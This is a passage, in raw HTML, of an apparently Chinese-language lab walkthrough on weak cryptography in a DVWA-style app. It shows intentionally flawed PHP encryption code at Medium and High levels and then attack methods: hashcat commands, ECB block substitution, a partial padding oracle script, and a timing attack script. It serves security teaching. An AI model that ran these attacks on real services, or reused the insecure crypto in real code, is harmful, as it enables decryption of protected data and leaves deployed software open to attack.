class="string">&#x27;AES-128-ECB&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 问题3：密钥长度处理不当 ★★★</span></span><br><span class="line"><span class="comment">// AES-128需要16字节密钥</span></span><br><span class="line"><span class="comment">// 如果密钥不够长，应该使用KDF派生</span></span><br><span class="line"><span class="comment">// 这里只是简单截断或填充</span></span><br><span class="line"><span class="variable">$key</span> = <span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">hash</span>(<span class="string">&#x27;sha256&#x27;</span>, <span class="variable">$encryption_key</span>, <span class="literal">true</span>), <span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 加密</span></span><br><span class="line"><span class="variable">$encrypted</span> = <span class="title function_ invoke__">openssl_encrypt</span>(</span><br><span class="line">    <span class="variable">$message</span>,</span><br><span class="line">    <span class="variable">$method</span>,</span><br><span class="line">    <span class="variable">$key</span>,</span><br><span class="line">    OPENSSL_RAW_DATA</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="variable">$encrypted_base64</span> = <span class="title function_ invoke__">base64_encode</span>(<span class="variable">$encrypted</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Encrypted message (AES-ECB): &quot;</span> . <span class="variable">$encrypted_base64</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 解密</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">decrypt_message</span>(<span class="params"><span class="variable">$encrypted_base64</span>, <span class="variable">$encryption_key</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$method</span> = <span class="string">&#x27;AES-128-ECB&#x27;</span>;</span><br><span class="line">    <span class="variable">$key</span> = <span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">hash</span>(<span class="string">&#x27;sha256&#x27;</span>, <span class="variable">$encryption_key</span>, <span class="literal">true</span>), <span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line"></span><br><span class="line">    <span class="variable">$encrypted</span> = <span class="title function_ invoke__">base64_decode</span>(<span class="variable">$encrypted_base64</span>);</span><br><span class="line"></span><br><span class="line">    <span class="variable">$decrypted</span> = <span class="title function_ invoke__">openssl_decrypt</span>(</span><br><span class="line">        <span class="variable">$encrypted</span>,</span><br><span class="line">        <span class="variable">$method</span>,</span><br><span class="line">        <span class="variable">$key</span>,</span><br><span class="line">        OPENSSL_RAW_DATA</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$decrypted</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>SHA-1替代MD5</strong> - 更强的哈希算法</li><li><strong>AES加密</strong> - 标准的对称加密算法</li><li><strong>OpenSSL库</strong> - 使用专业的加密库</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><ol><li><p><strong>SHA-1已被攻破</strong></p><ul><li>2017年Google发布SHA-1碰撞</li><li>仍然可以暴力破解</li></ul></li><li><p><strong>ECB模式不安全</strong></p><ul><li>相同明文产生相同密文</li><li>容易识别模式</li></ul></li><li><p><strong>硬编码密钥</strong></p><ul><li>密钥仍在代码中</li></ul></li><li><p><strong>无盐和迭代</strong></p><ul><li>密码哈希应使用bcrypt</li></ul></li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：SHA-1暴力破解"><a href="#方法1：SHA-1暴力破解" class="headerlink" title="方法1：SHA-1暴力破解"></a>方法1：SHA-1暴力破解</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用hashcat破解SHA-1</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8&quot;</span> &gt; hashes.txt</span><br><span class="line">hashcat -m 100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># -m 100: SHA-1模式</span></span><br><span class="line"><span class="comment"># 结果：5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8:password</span></span><br></pre></td></tr></table></figure><h4 id="方法2：利用ECB模式漏洞"><a href="#方法2：利用ECB模式漏洞" class="headerlink" title="方法2：利用ECB模式漏洞"></a>方法2：利用ECB模式漏洞</h4><p><strong>ECB企鹅问题（ECB Penguin）：</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">原始图片 → 使用ECB加密 → 仍能看出轮廓</span><br><span class="line"></span><br><span class="line">原因：相同的像素块产生相同的密文块</span><br></pre></td></tr></table></figure><p><strong>块替换攻击：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 如果知道某些块的明文和密文对应关系</span></span><br><span class="line"><span class="comment"># 可以替换块来修改消息</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 例如：</span></span><br><span class="line"><span class="comment"># 明文：Transfer $100 to Alice</span></span><br><span class="line"><span class="comment"># 密文：[Block1][Block2][Block3][Block4]</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果知道&quot;$100&quot;的密文块</span></span><br><span class="line"><span class="comment"># 可以替换成&quot;$999&quot;的密文块</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 这在ECB模式下是可行的</span></span><br></pre></td></tr></table></figure><p><strong>识别ECB模式：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">detect_ecb</span>(<span class="params">ciphertext</span>):</span><br><span class="line">    <span class="comment"># ECB模式下，相同的明文块产生相同的密文块</span></span><br><span class="line">    <span class="comment"># 检测重复的16字节块</span></span><br><span class="line"></span><br><span class="line">    decoded = base64.b64decode(ciphertext)</span><br><span class="line">    blocks = [decoded[i:i+<span class="number">16</span>] <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(decoded), <span class="number">16</span>)]</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 如果有重复块，可能是ECB</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(blocks) != <span class="built_in">len</span>(<span class="built_in">set</span>(blocks)):</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">ciphertext = <span class="string">&quot;your_base64_ciphertext&quot;</span></span><br><span class="line"><span class="keyword">if</span> detect_ecb(ciphertext):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Detected ECB mode!&quot;</span>)</span><br></pre></td></tr></table></figure><h4 id="方法3：密钥恢复（如果可以）"><a href="#方法3：密钥恢复（如果可以）" class="headerlink" title="方法3：密钥恢复（如果可以）"></a>方法3：密钥恢复（如果可以）</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 如果密钥仍然硬编码在可访问的地方</span></span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line">encryption_key = <span class="string">&quot;mysecretkey12345&quot;</span>  <span class="comment"># 从源代码获取</span></span><br><span class="line">key = hashlib.sha256(encryption_key.encode()).digest()[:<span class="number">16</span>]</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;AES key (hex): <span class="subst">&#123;key.<span class="built_in">hex</span>()&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用SHA-256和AES-CBC，但仍有实现问题。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ High难度：使用SHA-256哈希 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$password</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;password&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 改进：使用SHA-256 ★★★</span></span><br><span class="line"><span class="comment">// hash() - 通用哈希函数</span></span><br><span class="line"><span class="comment">// &#x27;sha256&#x27; - SHA-256算法</span></span><br><span class="line"><span class="comment">// 返回：64位十六进制字符串</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 问题：</span></span><br><span class="line"><span class="comment">// 1. SHA-256虽然更强，但仍不适合密码哈希</span></span><br><span class="line"><span class="comment">// 2. 没有使用盐</span></span><br><span class="line"><span class="comment">// 3. 没有多次迭代（key stretching）</span></span><br><span class="line"><span class="comment">// 4. 应使用password_hash()和bcrypt/Argon2</span></span><br><span class="line"><span class="variable">$hashed</span> = <span class="title function_ invoke__">hash</span>(<span class="string">&#x27;sha256&#x27;</span>, <span class="variable">$password</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Password hash (SHA-256): &quot;</span> . <span class="variable">$hashed</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 改进：使用AES-CBC模式 ★★★</span></span><br><span class="line"><span class="comment">// AES-CBC - 密码块链接模式</span></span><br><span class="line"><span class="comment">// 比ECB安全，因为：</span></span><br><span class="line"><span class="comment">// 1. 每个块的加密依赖于前一个块</span></span><br><span class="line"><span class="comment">// 2. 相同的明文块产生不同的密文块</span></span><br><span class="line"><span class="comment">// 3. 使用IV（初始化向量）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 问题1：仍然硬编码密钥 ★★★</span></span><br><span class="line"><span class="variable">$encryption_key</span> = <span class="string">&quot;mysecretkey12345&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 改进：生成随机IV ★★★</span></span><br><span class="line"><span class="comment">// openssl_random_pseudo_bytes() - 生成随机字节</span></span><br><span class="line"><span class="comment">// AES-128-CBC需要16字节IV</span></span><br><span class="line"><span class="variable">$iv</span> = <span class="title function_ invoke__">openssl_random_pseudo_bytes</span>(<span class="number">16</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$message</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;message&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$method</span> = <span class="string">&#x27;AES-128-CBC&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 密钥派生</span></span><br><span class="line"><span class="variable">$key</span> = <span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">hash</span>(<span class="string">&#x27;sha256&#x27;</span>, <span class="variable">$encryption_key</span>, <span class="literal">true</span>), <span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 加密 ★★★</span></span><br><span class="line"><span class="variable">$encrypted</span> = <span class="title function_ invoke__">openssl_encrypt</span>(</span><br><span class="line">    <span class="variable">$message</span>,</span><br><span class="line">    <span class="variable">$method</span>,</span><br><span class="line">    <span class="variable">$key</span>,</span><br><span class="line">    OPENSSL_RAW_DATA,</span><br><span class="line">    <span class="variable">$iv</span>  // 使用IV</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 问题2：IV的传输 ★★★</span></span><br><span class="line"><span class="comment">// IV需要和密文一起传输</span></span><br><span class="line"><span class="comment">// IV不需要保密，但必须唯一</span></span><br><span class="line"><span class="comment">// 通常做法：IV + 密文</span></span><br><span class="line"><span class="variable">$encrypted_data</span> = <span class="title function_ invoke__">base64_encode</span>(<span class="variable">$iv</span> . <span class="variable">$encrypted</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Encrypted message (AES-CBC): &quot;</span> . <span class="variable">$encrypted_data</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 解密</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">decrypt_message</span>(<span class="params"><span class="variable">$encrypted_data</span>, <span class="variable">$encryption_key</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$method</span> = <span class="string">&#x27;AES-128-CBC&#x27;</span>;</span><br><span class="line">    <span class="variable">$key</span> = <span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">hash</span>(<span class="string">&#x27;sha256&#x27;</span>, <span class="variable">$encryption_key</span>, <span class="literal">true</span>), <span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line"></span><br><span class="line">    <span class="variable">$decoded</span> = <span class="title function_ invoke__">base64_decode</span>(<span class="variable">$encrypted_data</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 提取IV和密文 ★★★</span></span><br><span class="line">    <span class="variable">$iv</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$decoded</span>, <span class="number">0</span>, <span class="number">16</span>);  <span class="comment">// 前16字节是IV</span></span><br><span class="line">    <span class="variable">$ciphertext</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$decoded</span>, <span class="number">16</span>);  <span class="comment">// 剩余是密文</span></span><br><span class="line"></span><br><span class="line">    <span class="variable">$decrypted</span> = <span class="title function_ invoke__">openssl_decrypt</span>(</span><br><span class="line">        <span class="variable">$ciphertext</span>,</span><br><span class="line">        <span class="variable">$method</span>,</span><br><span class="line">        <span class="variable">$key</span>,</span><br><span class="line">        OPENSSL_RAW_DATA,</span><br><span class="line">        <span class="variable">$iv</span></span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$decrypted</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 问题3：缺少消息认证 ★★★</span></span><br><span class="line"><span class="comment">// 没有HMAC验证消息完整性</span></span><br><span class="line"><span class="comment">// 容易受到padding oracle攻击</span></span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>SHA-256</strong> - 更强的哈希算法</li><li><strong>AES-CBC模式</strong> - 更安全的分组模式</li><li><strong>随机IV</strong> - 每次加密使用不同IV</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><ol><li><p><strong>密码哈希不当</strong></p><ul><li>SHA-256太快，易暴力破解</li><li>应使用bcrypt&#x2F;Argon2</li></ul></li><li><p><strong>硬编码密钥</strong></p><ul><li>密钥管理不当</li></ul></li><li><p><strong>缺少消息认证</strong></p><ul><li>没有HMAC</li><li>易受Padding Oracle攻击</li></ul></li><li><p><strong>密钥派生简单</strong></p><ul><li>应使用PBKDF2&#x2F;HKDF</li></ul></li></ol><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：SHA-256暴力破解"><a href="#方法1：SHA-256暴力破解" class="headerlink" title="方法1：SHA-256暴力破解"></a>方法1：SHA-256暴力破解</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 虽然SHA-256更强，但仍可以暴力破解弱密码</span></span><br><span class="line">hashcat -m 1400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># -m 1400: SHA-256模式</span></span><br></pre></td></tr></table></figure><h4 id="方法2：Padding-Oracle攻击"><a href="#方法2：Padding-Oracle攻击" class="headerlink" title="方法2：Padding Oracle攻击"></a>方法2：Padding Oracle攻击</h4><p><strong>什么是Padding Oracle：</strong></p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">AES-CBC使用PKCS<span class="comment">#7填充：</span></span><br><span class="line">明文长度：<span class="number">13</span>字节</span><br><span class="line">块大小：<span class="number">16</span>字节</span><br><span class="line">填充：<span class="number">3</span>字节（<span class="number">0x03</span> <span class="number">0x03</span> <span class="number">0x03</span>）</span><br><span class="line"></span><br><span class="line">Padding <span class="keyword">Oracle：</span></span><br><span class="line"><span class="keyword"></span>服务器返回不同错误：</span><br><span class="line">- <span class="string">&quot;Invalid padding&quot;</span> → 填充错误</span><br><span class="line">- <span class="string">&quot;Invalid data&quot;</span> → 数据错误</span><br><span class="line"></span><br><span class="line">攻击者可以利用这个差异逐字节解密</span><br></pre></td></tr></table></figure><p><strong>攻击脚本：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">padding_oracle_attack</span>(<span class="params">ciphertext_b64, url</span>):</span><br><span class="line">    <span class="comment"># 解码密文</span></span><br><span class="line">    decoded = base64.b64decode(ciphertext_b64)</span><br><span class="line">    iv = decoded[:<span class="number">16</span>]</span><br><span class="line">    ciphertext = decoded[<span class="number">16</span>:]</span><br><span class="line"></span><br><span class="line">    plaintext = <span class="string">b&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 对每个块进行攻击</span></span><br><span class="line">    blocks = [ciphertext[i:i+<span class="number">16</span>] <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(ciphertext), <span class="number">16</span>)]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> block <span class="keyword">in</span> blocks:</span><br><span class="line">        decrypted_block = attack_block(block, iv, url)</span><br><span class="line">        plaintext += decrypted_block</span><br><span class="line">        iv = block  <span class="comment"># 下一轮使用当前块作为IV</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> plaintext</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">attack_block</span>(<span class="params">block, iv, url</span>):</span><br><span class="line">    decrypted = <span class="string">b&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 逐字节破解</span></span><br><span class="line">    <span class="keyword">for</span> byte_pos <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">        <span class="keyword">for</span> guess <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">            <span class="comment"># 构造测试IV</span></span><br><span class="line">            test_iv = <span class="built_in">bytearray</span>(iv)</span><br><span class="line">            <span class="comment"># ... (复杂的padding oracle逻辑)</span></span><br><span class="line"></span><br><span class="line">            <span class="comment"># 发送测试请求</span></span><br><span class="line">            response = requests.post(url, data=&#123;<span class="string">&#x27;ciphertext&#x27;</span>: base64.b64encode(test_iv + block)&#125;)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> <span class="string">&#x27;Invalid padding&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> response.text:</span><br><span class="line">                <span class="comment"># 找到正确的字节</span></span><br><span class="line">                decrypted = <span class="built_in">bytes</span>([guess ^ (byte_pos + <span class="number">1</span>)]) + decrypted</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> decrypted</span><br></pre></td></tr></table></figure><h4 id="方法3：时序攻击"><a href="#方法3：时序攻击" class="headerlink" title="方法3：时序攻击"></a>方法3：时序攻击</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> statistics</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">timing_attack</span>(<span class="params">ciphertext, url</span>):</span><br><span class="line">    times = []</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>):</span><br><span class="line">        start = time.time()</span><br><span class="line">        response = requests.post(url, data=&#123;<span class="string">&#x27;ciphertext&#x27;</span>: ciphertext&#125;)</span><br><span class="line">        elapsed = time.time() - start</span><br><span class="line">        times.append(elapsed)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 如果响应时间明显不同，可能泄露信息</span></span><br><span class="line">    avg_time = statistics.mean(times)</span><br><span class="line">    stddev = statistics.stdev(times)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Average time: <span class="subst">&#123;avg_time:<span class="number">.4</span>f&#125;</span>s, Std Dev: <span class="subst">&#123;stddev:<span class="number">.4</span>f&#125;</span>s&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用现代密码学最佳实践，真正安全。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span 